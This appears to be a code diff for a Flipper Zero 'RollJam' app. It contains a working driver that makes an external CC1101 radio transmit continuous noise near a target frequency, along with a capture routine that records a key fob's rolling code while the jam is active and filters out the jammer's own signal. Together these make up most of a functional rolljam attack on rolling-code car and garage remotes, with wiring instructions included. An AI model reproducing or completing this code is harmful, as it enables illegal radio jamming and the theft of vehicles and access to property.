uint8_t rx = 0;
|
||||
for(int8_t i = 7; i >= 0; i--) {
|
||||
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
|
||||
spi_delay();
|
||||
furi_hal_gpio_write(pin_sck, true);
|
||||
spi_delay();
|
||||
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
spi_delay();
|
||||
}
|
||||
return rx;
|
||||
}
|
||||
|
||||
static uint8_t cc_strobe(uint8_t cmd) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
uint8_t s = spi_byte(cmd);
|
||||
cs_hi();
|
||||
return s;
|
||||
}
|
||||
|
||||
static void cc_write(uint8_t a, uint8_t v) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a); spi_byte(v);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static uint8_t cc_read_status(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
spi_byte(a | 0xC0);
|
||||
uint8_t v = spi_byte(0x00);
|
||||
cs_hi();
|
||||
return v;
|
||||
}
|
||||
|
||||
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a | 0x40);
|
||||
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static bool cc_reset(void) {
|
||||
cs_hi(); furi_delay_us(30);
|
||||
cs_lo(); furi_delay_us(30);
|
||||
cs_hi(); furi_delay_us(50);
|
||||
cs_lo();
|
||||
if(!wait_miso(10000)) { cs_hi(); return false; }
|
||||
spi_byte(CC_SRES);
|
||||
if(!wait_miso(100000)) { cs_hi(); return false; }
|
||||
cs_hi();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "EXT: Reset OK");
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool cc_check(void) {
|
||||
uint8_t p = cc_read_status(CC_PARTNUM);
|
||||
uint8_t v = cc_read_status(CC_VERSION);
|
||||
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
|
||||
return (v == 0x14 || v == 0x04 || v == 0x03);
|
||||
}
|
||||
|
||||
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
|
||||
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
|
||||
|
||||
static void cc_idle(void) {
|
||||
cc_strobe(CC_SIDLE);
|
||||
for(int i = 0; i < 500; i++) {
|
||||
if(cc_state() == MARC_IDLE) return;
|
||||
furi_delay_us(50);
|
||||
}
|
||||
}
|
||||
|
||||
static void cc_set_freq(uint32_t f) {
|
||||
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
|
||||
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam(uint32_t freq) {
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
|
||||
cc_idle();
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x30);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x11);
|
||||
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
uint8_t st = cc_state();
|
||||
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
|
||||
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x00);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
return (cc_state() == MARC_IDLE);
|
||||
}
|
||||
|
||||
static void ext_gpio_init_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
}
|
||||
|
||||
static void ext_gpio_deinit_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Noise pattern & jam helpers
|
||||
// ============================================================
|
||||
|
||||
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_ms(1);
|
||||
cc_write_burst(CC_TXFIFO, pattern, len);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(5);
|
||||
}
|
||||
|
||||
static int32_t jam_thread_worker(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
|
||||
|
||||
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
|
||||
app->frequency, app->jam_offset_hz, is_fsk);
|
||||
|
||||
ext_gpio_init_spi_pins();
|
||||
furi_delay_ms(5);
|
||||
|
||||
if(!cc_reset()) {
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
if(!cc_check()) {
|
||||
FURI_LOG_E(TAG, "JAM: Chip no detectado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool jam_ok;
|
||||
if(app->mod_index == ModIndex_FM238)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, false);
|
||||
else if(app->mod_index == ModIndex_FM476)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, true);
|
||||
else
|
||||
jam_ok = cc_configure_jam(freq_pos);
|
||||
|
||||
if(!jam_ok) {
|
||||
FURI_LOG_E(TAG, "JAM: Config failed");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
static const uint8_t noise_pattern[62] = {
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55
|
||||
};
|
||||
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
|
||||
uint8_t st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
cc_idle();
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
|
||||
|
||||
uint32_t loops = 0;
|
||||
uint32_t underflows = 0;
|
||||
uint32_t refills = 0;
|
||||
bool on_pos = true;
|
||||
|
||||
while(app->jam_thread_running) {
|
||||
loops++;
|
||||
|
||||
if(is_fsk && (loops % 4 == 0)) {
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
on_pos = !on_pos;
|
||||
cc_set_freq(on_pos ? freq_pos : freq_neg);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
underflows++;
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
uint8_t txb = cc_txbytes();
|
||||
if(txb < 20) {
|
||||
uint8_t space = 62 - txb;
|
||||
if(space > 50) space = 50;
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, space);
|
||||
refills++;
|
||||
}
|
||||
|
||||
if(loops % 500 == 0) {
|
||||
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
|
||||
loops, underflows, refills, cc_txbytes());
|
||||
}
|
||||
|
||||
furi_delay_ms(50);
|
||||
}
|
||||
|
||||
cc_idle();
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
cc_write(CC_IOCFG2, 0x2E);
|
||||
|
||||
ext_gpio_deinit_spi_pins();
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Public API
|
||||
// ============================================================
|
||||
|
||||
void rolljam_jammer_start(RollJamApp* app) {
|
||||
if(app->jamming_active) return;
|
||||
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
app->jam_thread_running = true;
|
||||
app->jamming_active = true;
|
||||
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(50);
|
||||
|
||||
rolljam_ext_gpio_init();
|
||||
|
||||
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
|
||||
furi_thread_start(app->jam_thread);
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
|
||||
}
|
||||
|
||||
void rolljam_jammer_stop(RollJamApp* app) {
|
||||
if(!app->jamming_active) return;
|
||||
|
||||
app->jam_thread_running = false;
|
||||
furi_thread_join(app->jam_thread);
|
||||
furi_thread_free(app->jam_thread);
|
||||
app->jam_thread = NULL;
|
||||
|
||||
rolljam_ext_gpio_deinit();
|
||||
rolljam_ext_power_off();
|
||||
app->jamming_active = false;
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* External CC1101 module connected via GPIO (bit-bang SPI).
|
||||
* Used EXCLUSIVELY for JAMMING (TX).
|
||||
*
|
||||
* Wiring (as connected):
|
||||
* CC1101 VCC -> Flipper Pin 9 (3V3)
|
||||
* CC1101 GND -> Flipper Pin 11 (GND)
|
||||
* CC1101 MOSI -> Flipper Pin 2 (PA7)
|
||||
* CC1101 MISO -> Flipper Pin 3 (PA6)
|
||||
* CC1101 SCK -> Flipper Pin 5 (PB3)
|
||||
* CC1101 CS -> Flipper Pin 4 (PA4)
|
||||
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
|
||||
*/
|
||||
|
||||
void rolljam_ext_gpio_init(void);
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled);
|
||||
void rolljam_ext_gpio_deinit(void);
|
||||
void rolljam_jammer_start(RollJamApp* app);
|
||||
void rolljam_jammer_stop(RollJamApp* app);
|
||||
@@ -0,0 +1,689 @@
|
||||
#include "rolljam_receiver.h"
|
||||
#include <furi_hal_subghz.h>
|
||||
#include <furi_hal_rtc.h>
|
||||
|
||||
#define CC_IOCFG0 0x02
|
||||
#define CC_FIFOTHR 0x03
|
||||
#define CC_MDMCFG4 0x10
|
||||
#define CC_MDMCFG3 0x11
|
||||
#define CC_MDMCFG2 0x12
|
||||
#define CC_MDMCFG1 0x13
|
||||
#define CC_MDMCFG0 0x14
|
||||
#define CC_DEVIATN 0x15
|
||||
#define CC_MCSM0 0x18
|
||||
#define CC_FOCCFG 0x19
|
||||
#define CC_AGCCTRL2 0x1B
|
||||
#define CC_AGCCTRL1 0x1C
|
||||
#define CC_AGCCTRL0 0x1D
|
||||
#define CC_FREND0 0x22
|
||||
#define CC_FSCAL3 0x23
|
||||
#define CC_FSCAL2 0x24
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_WORCTRL 0x20
|
||||
#define CC_FREND1 0x21
|
||||
|
||||
// OOK 650kHz
|
||||
static const uint8_t preset_ook_650_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// OOK 270kHz
|
||||
static const uint8_t preset_ook_270_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x67,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x40,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x03,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// 2FSK Dev 2.38kHz
|
||||
static const uint8_t preset_2fsk_238_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// 2FSK Dev 47.6kHz
|
||||
static const uint8_t preset_2fsk_476_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// TX OOK
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_238[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_476[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Capture state machine
|
||||
// ============================================================
|
||||
|
||||
#define MIN_PULSE_US 100
|
||||
#define MAX_PULSE_US 32767
|
||||
#define SILENCE_GAP_US 50000
|
||||
#define MIN_FRAME_PULSES 40
|
||||
#define AUTO_ACCEPT_PULSES 300
|
||||
#define MAX_CONTINUOUS_SAMPLES 800
|
||||
|
||||
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
// Calcular estadísticas una sola vez
|
||||
int16_t max_abs = 0;
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
|
||||
if(v > max_abs) max_abs = v;
|
||||
sum += v;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
|
||||
mod_index, max_abs, mean, (int)s->size);
|
||||
|
||||
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
|
||||
if((int)s->size < 120) {
|
||||
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(max_abs < 25000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(mod_index == 1) { // ModIndex_AM270=1
|
||||
if(mean < 3000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#define MIN_VARIANCE 2000
|
||||
|
||||
static bool rolljam_has_sufficient_variance(RawSignal* s) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
sum += (val > 0) ? val : -val;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
int64_t var_sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int32_t abs_val = (val > 0) ? val : -val;
|
||||
int32_t diff = abs_val - mean;
|
||||
var_sum += (int64_t)diff * diff;
|
||||
}
|
||||
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
|
||||
|
||||
bool has_var = (variance > MIN_VARIANCE);
|
||||
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
|
||||
mean, variance, has_var ? "PASS" : "FAIL");
|
||||
return has_var;
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
CapWaiting,
|
||||
CapRecording,
|
||||
CapDone,
|
||||
} CapState;
|
||||
|
||||
typedef struct {
|
||||
volatile CapState state;
|
||||
volatile int valid_count;
|
||||
volatile int total_count;
|
||||
volatile bool target_first;
|
||||
volatile uint32_t callback_count;
|
||||
volatile uint32_t continuous_count;
|
||||
float rssi_baseline;
|
||||
uint8_t mod_index;
|
||||
} CapCtx;
|
||||
|
||||
static CapCtx g_cap;
|
||||
|
||||
static void cap_ctx_reset(CapCtx* c) {
|
||||
c->state = CapWaiting;
|
||||
c->valid_count = 0;
|
||||
c->total_count = 0;
|
||||
c->callback_count = 0;
|
||||
c->continuous_count = 0;
|
||||
}
|
||||
|
||||
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(!app->raw_capture_active) return;
|
||||
if(g_cap.state == CapDone) return;
|
||||
|
||||
g_cap.callback_count++;
|
||||
|
||||
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
|
||||
if(target->valid) return;
|
||||
|
||||
uint32_t dur = duration;
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
|
||||
if(dur > 32767) dur = 32767;
|
||||
|
||||
switch(g_cap.state) {
|
||||
case CapWaiting:
|
||||
g_cap.continuous_count = 0;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
|
||||
target->size = 0;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.state = CapRecording;
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
